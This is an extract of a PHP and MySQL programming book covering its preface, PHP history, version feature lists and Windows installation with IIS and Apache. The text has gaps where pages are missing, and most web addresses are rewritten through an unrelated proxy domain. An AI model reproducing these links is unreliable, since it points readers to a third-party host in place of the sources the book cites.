PHP and MySQL The Comprehensive Guide - Sanet.st
PHP and MySQL The Comprehensive Guide - Sanet.st
The Rheinwerk Computing series offers new and established professionals comprehen-
sive guidance to enrich their skillsets and enhance their career prospects. Our publica-
tions are written by the leading experts in their fields. Each book is detailed and hands-on
to help readers develop essential, practical skills that they can apply to their daily work.
Philip Ackermann
Full Stack Web Development: The Comprehensive Guide
2023, 740 pages, paperback and e-book
www.rheinwerk-computing.com/5704
Jürgen Wolf
HTML and CSS: The Comprehensive Guide
2023, 814 pages, paperback and e-book
www.rheinwerk-computing.com/5695
Sebastian Springer
Node.js: The Comprehensive Guide
2022, 834 pages, paperback and e-book
www.rheinwerk-computing.com/5556
Sebastian Springer
React: The Comprehensive Guide
2024, 676 pages, paperback and e-book
www.rheinwerk-computing.com/5705
www.rheinwerk-computing.com
Christian Wenz, Tobias Hauser
We hope that you liked this e-book. Please share your feedback with us and read
the Service Pages to find out how to contact us.
The Library of Congress Cataloging-in-Publication Control Number for the printed edition as follows:
2024058103
Preface ....................................................................................................................................................... 25
PART I Preparations
1 Introduction to PHP 33
1.7 The Most Important Features in PHP 5.4, 5.5, and 5.6 ......................................... 43
2 Installation 45
7
Contents
5 Programming 113
8
Contents
7 Strings 201
9
Contents
8 Arrays 239
10
Contents
11
Contents
12
Contents
13 Forms 401
13
Contents
14 Cookies 457
15 Sessions 481
14
Contents
16 Email 505
PART IV Databases
17 SQL 525
15
Contents
18 PDO 541
19 MySQL 559
20 SQLite 599
16
Contents
22 Oracle 641
17
Contents
23 PostgreSQL 661
24 MongoDB 685
18
Contents
PART V Communication
25 Files 707
19
Contents
28 JavaScript 771
29 XML 791
20
Contents
21
Contents
32 Security 865
33 Authentication 895
22
Contents
38 Composer 955
23
Contents
24
Preface
I've never thought of PHP as more than a simple tool to solve problems.1
– Rasmus Lerdorf (inventor of PHP)
During the 2013 Google I/O conference, one speaker announced that over 75% of all
websites rely on PHP.2 The W3Techs website regularly comes up with figures in a simi-
lar range, around 76.5% at the beginning of 2024.3 This is impressive, and also deserved:
PHP can do a lot, as we will demonstrate in this book.
However, the predominance of PHP also means that there is a confusing jungle of pub-
lications and books on PHP; perhaps you already have one or two works in your book-
case. So why another one on PHP?
We would like to cite two reasons for this. First, this book has published five editions in
German and is now available for the first time in English. All content has been tested
with the new PHP version 8.3, but readers of the previous German versions will also
find a lot of useful information. We have updated the code in many places to include
new language features, but the basic explanations normally also apply to earlier ver-
sions.
The second reason is that we have chosen a slightly different concept than many other
books because, based on numerous training courses and presentations at conferences
as well as our experience from numerous customer projects, we think that the topic of
PHP needs to be presented in a special way. Positive feedback from numerous testers
encourages us in the hope that we have come up with a coherent and sensible concept.
The Concept
Each chapter of this book deals with a specific technology or problem that can and will
be solved with PHP. At the beginning of each chapter, we present the necessary instal-
lation steps. This means that you do not have to scroll through the book to find the
installation steps for specific tasks; instead, these are always included in the corre-
sponding chapter. An exception is the general installation of PHP, which you will find
covered in a separate chapter (Chapter 2, to be precise).
Then comes the theory: you will learn everything PHP has to offer on the topic of the
chapter. However, we don't just limit ourselves to explaining how something could
theoretically work; we always back this up with code examples. We have not just writ-
ten down the code "at random," but have had the examples tested in several instances.
This means that although we are not immune to possible errors, we have tested every
listing.
Theory is usually followed by practice—and this book is no exception. We believe that
simple, clear examples are very well suited to explaining things, but the question often
arises as to whether this can be used in practice at all. For this reason, in many chapters,
there is an "Application Examples" section in which we show one or more slightly more
complex applications that have a higher practical relevance than the previous code
snippets. Of course, we don't want to overdo it in these sections, and we still concen-
trate on the essentials. So don't expect complex sophisticated CSS styles or an excess of
HTML; this book is mainly about PHP.
PHP has an excellent online manual. You can find it at www.php.net/manual in several
languages, including English. There is a particularly clever shortcut: If you have a ques-
tion about a PHP programming command, simply call up the address http://php.net/
<PHP term> in your web browser. In most cases, you will be automatically redirected to
the corresponding manual page, usually even to the English version of the manual. For
example, in Chapter 2 you will learn about something called phpinfo(). Figure 1 shows
the page that appears in the web browser when you enter http://php.net/phpinfo—that
is, the desired information.
The PHP online manual is also available for download in HTML format. A current ver-
sion is also available (at www.php.net/download-docs.php) in CHM format, the Win-
dows help format, for which display programs also exist on other operating systems.
The manual is available—as it is online—in several languages (see Figure 2). However,
only the English version is usually complete and up to date.
So much for the chapter structure, which is consistent throughout the book. Speaking of
consistency, you will notice that the majority of the figures in this book were created in
the Windows OS. However, this in no way means that the authors are Microsoft disciples
or that the scripts have only been used on one operating system platform. Rather, it has
to do with the production process of this book: the publisher's templates are optimized
for Windows, so we also created most of the figures in Windows. However, we used sev-
eral Linux and Mac systems in order to test the code there as well and to find and docu-
ment special features of these systems, particularly in the installation section. If
something actually only works under one operating system, this is always indicated.
And another important point: we waited until PHP 8.3 was finally released before com-
pleting this book, so you won't find any outdated beta code in this book. The last tests
of the book examples even ran with PHP 8.3.4. This patience paid off in many previous
editions, because details kept changing in minor versions.
The Content
The book is divided into seven parts, each of which deals with a specific subject area:
쐍 Part I describes the necessary preparations for working with PHP. You will learn
what PHP is and how to install it. The latter used to be a major hurdle, which is why
we cover the installation in detail for Linux, macOS, and Windows.
쐍 Part II contains a complete introduction to PHP from the ground up. Of course, more
advanced topics and the new features of PHP 8.x are also covered. You will then have
the necessary knowledge to solve specific tasks with PHP in the following parts.
쐍 Part III deals with basic web techniques that dominate the everyday life of every pro-
fessional PHP programmer and are the be-all and end-all, especially in agencies. You
will learn how to work with forms, use sessions and cookies, and send emails from
PHP.
쐍 Part IV shows databases—not just MySQL, which is often mentioned in connection
with PHP, but a range of other database systems, including SQLite, Microsoft SQL
Server, PostgreSQL, Oracle, and MongoDB.
쐍 Part V explains how PHP communicates with the outside world. This can take place
via files, HTTP, FTP, or web services, for example. We also show the interaction with
JavaScript and WebSockets.
쐍 Part VI demonstrates how you can work with various data formats with PHP: JSON
and XML files, graphics, or even PDF documents.
쐍 Part VII deals with administrative and security-related topics that tend to take place
under the hood. You will learn how easy it is for improper programming to create
security vulnerabilities in PHP websites and what you can do about such vulnerabil-
ities. You will also learn more about user authentication and PHP configuration.
쐍 Part VIII deals with more advanced topics, such as debugging PHP code and auto-
mated testing. We also present the de facto standard in package management for
PHP. Finally, you will learn how you can extend PHP yourself. You can do this by
writing your own extension for PHP or by correcting an error in PHP yourself.
with special features of PHP. We don’t want to distract from the core concepts of each
chapter of the book to make the content easier to understand and digest.
There is also the issue of backward compatibility, which we don't want to lose sight of
completely. Admittedly, we find some new features of PHP 8.3 so practical that they
have also found their way into several examples, but we always point this out so that
backporting to older PHP versions can be possible.
Speaking of examples, you can find all the listings from this book in the Product Sup-
plements section at http://www.rheinwerk-computing.com/6022.
Note
PHP 8.4 was released during the translation process for the English language edition of
this book. We do mention it a few times throughout the text, but the main version
used for this book is PHP 8.3. We did several spot checks and ran many of the code
examples under PHP 8.4 as well.
Support
Precisely because this book is so comprehensive and has been updated in many places,
we are dependent on your support. Please let us know how you like the content, what
might be missing (despite offering over 1,000 pages, we couldn't include everything we
would have liked to), and what should be different in a new edition. If you have any
problems with one of the listings or questions about the book, please contact us. Or
visit us at the website of the Arrabiata Solutions GmbH agency (www.arrabiata.de), of
which we are co-owners. As a digital agency, we naturally also offer PHP development
services here.
This edition of the book also offers a wistful look back: over 25 years ago, one of the
authors signed publishing contract number 1 with the then newly established Galileo
Press publishing house. A risk, to be sure, but it was absolutely worth it. The publishing
house is now called Rheinwerk, but some of the first crew are still on board. The con-
tract for this book is number 10,000. We are thrilled with how far Rheinwerk has come
and are proud to have played a very small part in this.
We would like to take this opportunity to thank all the readers of the German edition
who provided us with feedback and errata. We are indebted to Stefan Neufeind who
reviewed the manuscript for the English language edition. And now: have fun in the
world of PHP!
If you want to quickly get to grips with PHP and its new features, you will find all the
important updates to PHP 8 at a glance in this chapter. For beginners, we recommend
taking a look at the concept of PHP. The changes from the previous version jumps also
take up more space in order to make this version change easier. However, we start with
the history and concept of PHP.
1 PHP is therefore a recursive acronym; that is, the long form also contains the acronym itself once
again. This may make your brain knot, but if you find it funny, you've taken the first step toward
becoming a nerd.
Lerdorf himself is still very active in the PHP community. After spending several years
rushing from lecture to lecture, he worked at Yahoo from 2002 to 2009 and has been
working for Etsy since 2012.
Gutmans and Suraski founded the Zend company together with Doron Gerstel. The
name is made up of the first names of the two main protagonists: Zeev and Andi. PHP
has been based on the Zend Engine since version 4. In PHP 5, this engine was version
number 2. The Zend Engine was completely revised again with PHP 7. The Zend Engine
3 (formerly phpng) does not introduce as many new functions, but offers a massive
increase in performance.
However, the history of PHP was not written by just three people. Certainly, these three
are closely linked to the success of PHP. But ultimately, it is the large developer com-
munity that has made PHP what it is today.
The PHP project has had no problem coping with the fact that Lerdorf, Gutmans, and
Suraski, for example, are now only minimally involved in development and that the lat-
ter two have since left Zend. Microsoft, which previously supported the development of
the Windows version of PHP (by seconding developers and taking responsibility for the
build system), announced the end of its official PHP support in mid-2020. This was also
absorbed by the community; the Windows version of PHP 8 even appeared a few hours
before the official release.
Note
If you use PHP and have written an extension or something else useful yourself, make
it available, whether simply as a PHP class, as a package on Packagist, or even as an offi-
cial extension. If PHP had not been so strongly supported and so successful, other
server-side technologies would surely only be available for money. So by supporting it
yourself, you encourage competition and get better products in the long run.2
2 Admittedly, this argument is simple, and the whole thing can certainly be examined in much more
detail in a number of doctoral theses, but it nevertheless sums up our opinion quite well.
Let the facts speak for themselves. According to SecuritySpace, almost 50% of all
Apache servers have the PHP module installed. The most impressive figures are from
W3Techs, where PHP is the market leader among server-side programming languages
with 79.1% (see Figure 1.1). Now, statistics are debatable, but it is clear that PHP is the
market leader and is used in all segments, from entry-level to high-end systems.
The advantages of PHP are obvious: It is already included in smaller hosting packages
and is therefore inexpensive. It is also used in the corporate sector by medium-sized
companies for websites, store systems, B2B applications, and much more. And PHP is
even used on the largest websites. In addition to the famous examples such as Face-
book,3 Disney, Lufthansa (with complete ticketing), and Boeing, many other companies
rely on PHP. Content management systems based on PHP also prove what PHP can do.
These include, for example, well-known open-source projects such as WordPress,
3 Facebook itself has also contributed to PHP by building its own PHP base engine, called HipHop, for
performance reasons. Incidentally, it is also open source, including a virtual machine based on it
(hhvm). Its extremely good performance has in turn encouraged the developers of the Zend Engine
to also realize major performance gains in PHP 7.
TYPO3, and Shopware. And even companies that do not work with PHP on their corpo-
rate websites certainly have one or two small PHP solutions internally.
Client/User Server
Request
We will briefly summarize the most important facts from this process:
쐍 A web server is a program that runs on a server.
쐍 Browsers and web servers communicate via HTTP.
쐍 The documents that the web server can pass on are stored on the it.
쐍 Each document is identified by a URL.
Now PHP comes into play. PHP is a server-side technology. This means that PHP runs on
the server. In contrast, JavaScript is client-side. JavaScript is interpreted by the browser.
This is also why JavaScript sometimes has to be programmed differently for different
browsers, whereas with PHP you only have to pay attention to the version used on the
server.
Let’s now go through the case from earlier again, but this time, you as the surfer call up
a PHP page. Let’s start with the request. The URL now contains a file that usually has the
.php extension.4 The server sees the file extension and then knows that it must pass the
4 You don’t necessarily have to associate the .php file extension with the PHP interpreter; you can
choose any other file extension. For example, some companies use .html to disguise the fact that
they are using PHP.
file on to PHP. PHP receives the file and interprets (or more accurately, compiles) it.
Interpreting here means that PHP goes through the file (see Figure 1.3). The PHP code is
executed within the specially marked PHP areas. The returned result is pure HTML. This
is received by the web server, which then sends it back to the browser.
Client Server
Request
.php
HTML PHP
This simple principle of a server-side technology applies not only to PHP, but also to
other server-side technologies. However, there are often a few special features, such as
an intermediate application server or translation into an intermediate language as
with .NET.
Note
One implication of this is that server-side code is very safe from access by brazen
thieves. JavaScript, on the other hand, cannot be protected against unauthorized
access (even if some protection programs promise otherwise). A password check can
therefore only be carried out on the server side.
Tip
If you want to delve deeper into the considerations and decisions of the PHP core devel-
opers behind the innovations in PHP 8 and earlier versions, you can find the function
proposal RFCs, including the voting results, in the PHP wiki. For PHP 8, see https://
wiki.php.net/rfc#php_80; for PHP 8.4, see https://wiki.php.net/rfc#php_84.
The following list provides an overview of the most important new features of PHP 8:
쐍 PHP now includes a just-in-time (JIT) compiler. PHP is actually an interpreted pro-
gramming language; that is, it is executed when called and is not converted into
machine code before execution like a compiled programming language. The JIT
compiler is a kind of middle ground. It is used to precompile code where appropriate
and works closely with the code-caching system in PHP 8. In many applications, the
reward for the effort is increased performance without functional disadvantages.
쐍 The completely new match language construct is introduced as an often-simpler
alternative to the switch case distinction. More on this in Chapter 5.
쐍 Named parameters allow access to function and method parameters, regardless of
the order. You can read more about this in Chapter 6.
쐍 Union types extend the typing by the possibility of defining several types for
method parameters or their return. You can also read more about this in Chapter 6.
쐍 The new mixed type that stands as a representative for any type. Admittedly, this is
also the default behavior if you omit the typing—but with mixed you specify this
behavior directly, and even with strict typing you will not get a type error.
Internal typing has also been tidied up in PHP 8, and many core functions have been
revised:
쐍 PHP-internal functions now also consistently return TypeError errors in the event of
incorrect typing.
쐍 The ?-> nullsafe operator considerably simplifies the null check for nested objects.
쐍 For comparison and bitwise operators, the comparisons between string and number
have been revised.
쐍 PHP 8 allows commas at the end of parameter lists as a small syntactic addition.
There have also been some interesting innovations in object orientation (see Chapter
11):
쐍 static is now also permitted as a type for the return of methods.
쐍 The newly introduced property promotion for the constructor of a class saves a lot
of unnecessary typing when creating properties in the constructor.
쐍 With so-called attributes, PHP 8 introduces native metadata that you can also access
at runtime via the Reflection API. This is a native alternative to other annotation
options such as PHPDoc.
쐍 In PHP 8, the inheritance of private methods with the same name is no longer
"unnecessarily" checked.
쐍 WeakMap is a new standard class for the "weak" references introduced in PHP 7.4.
쐍 PHP 8 automatically adds the new Stringable interface to classes that use __
toString().
쐍 The trend in error handling has also been toward cleanliness: the @ operator no lon-
ger suppresses fatal errors. Many inconsistencies in error handling have been elimi-
nated, including illogical warning levels (https://wiki.php.net/rfc/engine_warnings).
try-catch is now also possible in the catch block without a variable definition.
쐍 In string handling, the three str_contains(), str_starts_with(), and str_ends_with()
functions have been added. (See also Chapter 7.)
쐍 The create_function() and each()methods in the array-handling area have been
removed.
쐍 For many extensions, such as the GD graphics library or the XML parser, PHP worked
internally with so-called resources. These resources were largely converted into
objects in PHP 8. And wherever there are still resources, get_resource_id() enables
conversion to an integer value.
And this is an overview of important functions that are new in PHP 8.x up to 8.4:
쐍 As of version 8.1, PHP allows a new octal notation for numbers with 0 in front and an
o behind.
쐍 Since PHP 8.1, PHP allows enumerations with fixed data values. More on this in
Chapter 6.
쐍 New in PHP 8.1 is the never keyword as a return type for functions. Since PHP 8.2,
null, false, and true are also possible as types, and DNF types allow mixed returns.
More on these topics in Chapter 6.
쐍 Since PHP 8.2, there is a new, significantly better Random\Randomizer class for mathe-
matical functions, which can be found in Chapter 9.
쐍 PHP 8.4 brings new array_*() functions.
쐍 In PHP 8.4 the DOM API was completely refactored. This includes standards-compli-
ant support for the parsing of HTML5 documents.
There are now some new functions in object-oriented programming, which have been
constantly optimized:
쐍 In PHP 8.1, the option to declare properties as readonly was added. In PHP 8.2,
readonly was then also possible at the class level.
쐍 As of PHP 8.1, objects can also be used as static variables, as default values for param-
eters, and as global constants and parameters for properties.
쐍 In PHP 8.1, dynamically set properties are classified as deprecated. Instead, they can
be specifically allowed for a class by setting the attribute named #[AllowDynam-
icProperties].
쐍 Since PHP 8.1, constants in classes can also be marked as final.
쐍 As of PHP 8.3, constants can also be typed with data types.
쐍 In PHP 8.3, the #[\Override] attribute allows you to mark a method that, as the name
suggests, overrides another.
쐍 In PHP 8.1, fibers are added as a new concept. They allow the execution of parallel
calls in PHP and are therefore an approach for multithreading. More on this can be
found in Chapter 26.
쐍 Since PHP 8.3, the json_validate() method allows JSON strings to be validated
before decoding.
쐍 PHP 8.4 supports property hooks. They provide support for properties that can
natively be read by IDEs and analysis tools, without the need to write DocBlock com-
ments that might go out of sync.
쐍 PHP 8.4 supports asymmetric visibility, that means a property can have different
types of visibility, for instance public for reading and private für setting.
쐍 With the #[\Deprecated] attribute in PHP 8.4 you can use the deprecated functional-
ity for own methods, constants and functions.
the next versions; for example, the new error handling was added to BCMath in PHP
7.3.
쐍 Since PHP 7.1, negative offsets are also possible in string handling when accessing
characters of a string with [] or with strpos().
쐍 In the security area, in PHP 7.2, the Sodium cryptography extension became part of
the core. Argon2 for password hashes was also added. In PHP 7.3, Argon2id support
for password generation was implemented.
쐍 The LDAP functions have been continuously expanded, including with new param-
eters and extended operations (EXOP).
쐍 The mbstring functions have been slightly expanded in PHP 7.3 and optimized in
terms of performance. The most exciting functional innovation is complete case
mapping, in which, for example, a sharp S (ß) is also taken into account. In PHP 7.1,
the error handling of some functions for regular expressions has been improved.
쐍 As usual, further functional areas and libraries have been continuously developed—
for example, cURL, EXIF, Readline, SQLite3, PCRE, and ZIP.
– The type definitions have been extended. First, scalar data types such as int and
float are now possible for function parameters; second, type definitions are now
also provided for function returns.
– Anonymous classes are finding their way into PHP.
– Namespaces imported with use can now be grouped.
쐍 Functions
– The intdiv() function is a new addition. It returns the integer quotient of a division.
– In the list() function, the order in which values are added to variables has been
changed. The order is now the order in which the variable is defined.
쐍 Extensions
The extensions have been tidied up, and duplicate, obsolete, and no longer required
ones have been removed. Among other things, ereg for regular expressions and
mssql and mysql for databases had to go.
1.7 The Most Important Features in PHP 5.4, 5.5, and 5.6
The new features in PHP 5.6 are not too extensive. For this reason, we have also listed
the most important new features in PHP 5.4 and 5.5 compared to 5.3:
쐍 There have been various innovations in object orientation:
– In PHP 5.4, traits were added that allow the reuse of code in generally defined
methods.
– With PHP 5.4, properties and methods can be accessed directly in the instantia-
tion of an object.
– In PHP 5.5, you can read class names including namespaces with ::class.
– In PHP 5.6, you can use the use keyword to import constants and the like into
classes.
쐍 There are also multiple language changes:
– In PHP 5.4, there were some new features for arrays. Among other things, a short
syntax based on JSON was defined.
– PHP 5.4 defines its own binary format for numbers.
– In PHP 5.5, generators with the yield keyword were added to easily iterate
through elements.
– As of PHP 5.5, foreach together with list() is allowed.
– As of PHP 5.6, the ... operator can be used to catch excess parameters of a func-
tion or method.
– As of PHP 5.6, the same operator can be used to pass an array with parameters to
a function.
– The ** operator allows exponential calculation as of PHP 5.6.
쐍 In PHP 5.4, <?= is now independent of the short_open_tag option from php.ini.
쐍 PHP 5.4 comes with a development web server in CLI mode.
쐍 PHP 5.6 now allows file uploads of more than two gigabytes.
쐍 A few things have also changed in the extensions:
– In PHP 5.4, sessions can also track the upload progress of files.
– In PHP 5.5, the GD extension was supplemented with cropping functions, among
other things.
– The OPcache extension for the Zend opcode cache was added in PHP 5.5.
– SSL/TLS support has been improved in PHP 5.6.
– In PHP 5.6, the pgsql extension was extended to include asynchronous connec-
tions.
쐍 Some functions have also been declared obsolete again. These include the old
MySQL extension ext/mysql, which is deprecated as of PHP 5.5. In PHP 5.6, the encod-
ing information of the iconv and mbstring functions has also been deprecated
because default_charset is now the official main way to determine the character set.
Note
The appendix to the PHP documentation (see http://php.net/manual/appendices.php)
provides a good overview of all the new features.
Note
Note the changelog for new versions, which lists important changes to the previous
version. You should always run as up-to-date a version as possible on your server, as
security holes may also be plugged. However, test in advance whether your scripts run
smoothly with the new version. PHP is usually downward compatible, but usually is
unfortunately not the same as always. If your script runs on a hosting package, you are
of course bound to the version used by your host. This should then also run on your
workstation.
Most forum questions about a piece of technology revolve around its installation. PHP
is no different. There were even times when it was worse than with comparable script-
ing languages. However, there is now a revised (English) installation guide. In this book,
the installation takes up a lot of space so that you can get started quickly on each of the
three most important systems and have no problems later in the chapters.
Note
If you do encounter any major difficulties, Chapter 3 will tell you where you can get
information and help.
쐍 As CGI: the Common Gateway Interface was one of the first approaches to enable
server-side programming on web servers. In the early days, CGI was almost synony-
mous with Perl. PHP can be executed as a CGI module in virtually any web server.
FastCGI (the fastcgi.com website is inactive, but there is an archived copy at https://
fastcgi-archives.github.io) is an extension of CGI that offers better performance and
has now become almost universally accepted. This is the preferred variant, espe-
cially under Windows.
Server
Request
.php
Web Server
Response Interpretation
HTML PHP
Both variants, SAPI and CGI, are supplied with PHP. You can obtain PHP from its official
homepage, www.php.net. PHP is available as source code. Of course, this must first be
compiled. This is quite common practice in Linux, but most Linux distributions also
supply PHP as ready-made packages (such as RPM or DEB files). For Windows, there are
also binaries—that is, compiled versions—which you can then install more conve-
niently.
Note
As even small changes to the version numbers usually contain security updates, you
should update your test system regularly. However, the version number on your (own
or rented) web server is decisive. Incidentally, with every version change, you should
first look at the most important changes, the so-called changelog. Sometimes the
behavior of a function changes, which you then have to adapt in your script, or a new
security setting is added to the php.ini configuration file.
The automatic installers have also contributed to the spread of PHP. They are available
for Windows as a package with Apache and MySQL or MariaDB; for Linux, RPM or DEB
packages are available in various versions. Installers are very practical, which is why we
will introduce some of them. However, there is no harm in doing the installation by
hand. You have the advantage of being able to update PHP more easily and quickly.
Note
PHP is a scripting language that can also work in the console. This console version is
included in the installation package and is also called the command line interface (CLI)
version. You can find out more about this at www.php.net/manual/features.command-
line.php.
The php.ini file is called by PHP when the web server is loaded if PHP is installed as a
module. With the CGI version or the console version, php.ini is included with every call.
Under Linux, it is located in the /usr/local/lib directory by default. However, you should
change this location by making the following setting when compiling PHP:
--with-config-file-path=/etc
The etc folder is the standard folder for configuration files under Linux and is therefore
usually the best choice. You must rename one of the php.ini template files supplied
with PHP (php.ini-development and php.ini-production) to php.ini and move it to this
folder to use it there.
Under Windows, PHP is also supplied with two php.ini template files. One of the two
must be renamed to php.ini. By default, php.ini is located in the PHP program directory
(for us, C:\php). Which php.ini is used first, if there is more than one, depends on the
search sequence of PHP itself.2 This is the order in Windows:
쐍 Only for Apache 2 and higher: the directory specified in the PHPIniDir directive of
httpd.conf
쐍 The path in the registry entry: HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath
쐍 The environment or system variable PHPRC
쐍 The directory of PHP-CLI or the directory of the web server SAPI module (only works
properly with Apache)
쐍 The Windows directory (C:\Windows)—which is not recommended, however, because
this directory should not normally be written to by the user, but you will certainly
change php.ini from time to time
2 Use the phpinfo() PHP function to determine which php.ini file is being used. The corresponding
information can be found at the top under Configuration File (php.ini) Path.
Note
The settings in php.ini can be found at www.php.net/manual/ini.php. In this book,
however, a separate chapter is dedicated to php.ini (Chapter 34).
2.1.2 Windows
The fact that there was a ready-made Windows version of PHP was one of the early suc-
cess factors for PHP. Of course, hosts mainly use Linux and Apache3 as their web serv-
ers, but the majority of hobby and professional developers still use Windows on their
computers at home. Meanwhile, installation with a ready-made package such as
XAMPP and the like is a solid and popular alternative. You will also find manual instal-
lation instructions in this chapter.
Note
The original version of this book was based on the final version of PHP 8.3.0. PHP 8.4.0
was released late in the process of creating the English version of the book. We have
added a few references to PHP 8.4.0, but the main focus is on PHP 8.3.
Web Server
Various web servers can be used in Windows. The most important are the following:
쐍 Internet Information Services (ISS; see Figure 2.2) is "the" professional web server
from Microsoft. It is supplied with most versions of Windows.
3 Hence the famous abbreviation LAMP for Linux, Apache, MySQL, and PHP.
You can check whether it is installed in Windows 10/11 under Turn Windows Fea-
tures on or off.
If IIS is missing, click it. Double-click to open further options. It is important that
ISAPI and CGI are also installed under Application Development Features.
쐍 Apache for Windows is the Windows port of the web server market leader. The latest
versions belong to the 2.x branch. The binaries for both versions can be found at
https://httpd.apache.org and, officially recommended by the PHP project, at https://
www.apachelounge.com/download.
If you have installed the web server, you can usually access it locally via http://local-
host/ or via http://127.0.0.1/. All PHP examples in this book are located in the php sub-
folder. The URL for this is then as follows:
http://localhost/php/
If you use a port other than the default port 80 for the web server, you must also specify
the port must also be specified:
http://localhost:8080/php/
Installation Packages
As Apache, PHP, and MySQL (or, alternatively, MariaDB) are often used together, some
projects offer an automatic installer. A big plus is that you can uninstall the entire
installation package again. However, some of the packages lag a little behind newer
PHP versions, especially for PHP 8.3 (although a lot may have happened between the
time these lines were written and the time you read them). Here are three of what we
consider to be the best installation packages currently available:
쐍 XAMPP is certainly the best-known project (https://www.apachefriends.org/
index.html). It has the great advantage that it is available for Linux, Windows, and
macOS. The installation includes not only all extensions, but also a ready-to-use
PEAR.4 It’s also updated very regularly. You can also find old versions at http://source-
forge.net/projects/xampp/files. The configuration of XAMPP is not optimal for pro-
ductive operation, so it is primarily used as a local development platform. The project
has not been updated for PHP 8.3 yet, though (see Figure 2.3). Incidentally, XAMPP
installs MariaDB, not MySQL, which initially has no significant functional impact.
쐍 EasyPHP Devserver (www.easyphp.org) is available for both development and pro-
duction operation. With this package, the PHP versions are very easy to configure,
and additional packages can also be installed. (At the time of publication, only PHP 7
was included in the current version 17.0; however, PHP 8.3 is available as an addi-
tional component for installation.)
쐍 The originally French project WampServer (https://www.wampserver.com/en) is also
quite well known. (At the time of publication, PHP 8.3 was already supported.)
Figure 2.3 XAMPP Did Not Yet Support PHP 8.3 (at the Time of Writing)
Note
Problems can arise if, for example, the IIS (or another web server) is already running on
port 80 and you are using an automatic installer that also sets Apache to port 80. In
this case, you must stop the other web server or set Apache to a different port. With
Apache, this is done in the httpd.conf configuration file, which you can find in the conf
folder.
Manual Installation
Now we come to the manual installation. However, the basic principles and procedures
explained in this section also apply if you want to make changes to an installation
using a package. The subdivision here is by web server.
For a production system—that is, a web server that is connected to the internet and is
to perform its work there—manual installation is the only suitable method in 90% of
cases. You need to be extremely careful when dealing with the configuration settings in
php.ini. Most installers or installation packages start with settings in php.ini that are too
permissive for a production system.
IIS
The following installation description is based on a system that does not yet have a
PHP installation. The variant shown here is based on the new description in the PHP
online documentation, as this offers the best and fastest updatability. PHP is only kept
centrally in one folder here, whereas in the previous installations the php.ini file always
ended up in the Windows directory, and other extensions either had to be copied there
as well or (not recommended) to System32.
Note
For use with the IIS, the non-thread-safe (NTS) version of PHP is recommended for the
CGI variant. In general, the FastCGI version is almost exclusively used for performance
reasons.
fastcgi.impersonate = 1
fastcgi.logging = 0
cgi.fix_pathinfo = 1
cgi.force_redirect = 0
Note
A frequent source of errors is that CGI has not yet been set up. You must check this via
the installation under Turn Windows features on or off.
To do this, go to Application Development Features (see Figure 2.6) and, if in doubt,
install CGI there. It may also be necessary to give the CGI role appropriate rights for
application development.
Apache 2.x
With Apache 2.x the installation is quite simple. You will find the instructions for PHP
8.x and Apache 2.4 here, older Apache versions are not supported. PHP is installed as a
SAPI module (also known as a handler).
1. For the Windows binaries, select the Thread Safe version and the x86 or x64 version
that matches the installed web server. Don't forget the Visual C++ Redistributable for
Visual Studio 2019 from http://s-prs.co/v602260.
Note
If the versions do not match, the installation will fail at this point.
Note
For other versions, you should of course adjust the version number of the dll. If a file
with the name pattern php8apache2_4.dll does not exist, you have probably down-
loaded the non-thread-safe PHP distribution intended for the IIS. Select the thread-safe
version instead.
httpd.exe -k start
Test Installation
To test the installation, switch to a text editor and create a new PHP file. Save this PHP
file under the name phpinfo.php or any other name in the root directory of the web
server (for IIS by default under C:\inetpub\wwwroot, for Apache under htdocs in the
program directory, e.g. like this: C:\Apache24\htdocs).
Write only three lines of code in this file:
<?php
phpinfo();
?>
The first and last lines are the delimiters for PHP code, which tell the PHP interpreter
where it needs to take action. The function phpinfo() function is actually the crucial
one. It generates a self-report about the PHP installation and all installed extensions
(see Figure 2.7).
Figure 2.7 The Output of "phpinfo()" for a PHP 8 Installation (Here, FastCGI in IIS)
To test this right away, call up the PHP file you have just created on the web server. In
our case, the address http://localhost/phpinfo.php is required. This allows you to check
both the basic functionality of PHP and its integration into the web server. If some-
thing does not work, the console output of php.exe may provide additional informa-
tion (see Figure 2.8). The following command displays the version number:
php -v
Note
On a production system, a file with phpinfo() should not be accessible from the out-
side as it contains system information that intruders could possibly use.
Compile Yourself
To run PHP under Windows yourself, you need Visual Studio from Microsoft. Here we’ll
describe the procedure for PHP 8.3, which requires version 2019 of Visual Studio. PHP
8.4 uses Visual Studio 2022.
Microsoft offers the so-called community version of the development environment at
http://s-prs.co/v602261. This is free for most users,5 and compilation also works with it.
During installation, you only need to ensure that the compiler required for PHP is
installed, which is not the case by default. Select the custom setup and activate the
checkbox under Programming Languages 폷 Visual C++ 폷 General Tools for Visual C++
2019. In newer versions of Visual Studio 2019, you will find the corresponding build
tools you need in the list of individual components (see Figure 2.9).
Note
Earlier versions of PHP relied on older versions of Visual Studio. Visual Studio 2019 is
only required for PHP 8.0 through 8.3.
However, the procedure is similar. The PHP wiki at http://s-prs.co/v602205 provides
more information on older versions up to and including 7.1. The page at http://s-prs.co/
v602206 covers PHP 7.2 and higher.
5 Details can be found at http://s-prs.co/v602207. Note: you absolutely need Visual Studio for Win-
dows, not the version for macOS or the similarly named but completely different Visual Studio Code.
Figure 2.9 It Is Essential to Install the Latest Toolset for VC++ (in the "Individual Components" Tab)
The development environment contains almost everything you need. In the past, you
still had to install the Windows Software Development Kit. This is no longer necessary.
Instead, there is a special PHP SDK that hosts the PHP project on GitHub. The project
URL is https://github.com/php/php-sdk-binary-tools.
PHP is compiled roughly via the following steps:
쐍 Installing the PHP SDK
쐍 Preparation of the directory structure
쐍 Importing the current PHP source code
쐍 Compiling
So, let's get started. If possible, you will also need Git to easily obtain the source code of
both the PHP SDK and PHP itself. If you do not want to use Git, you can also obtain
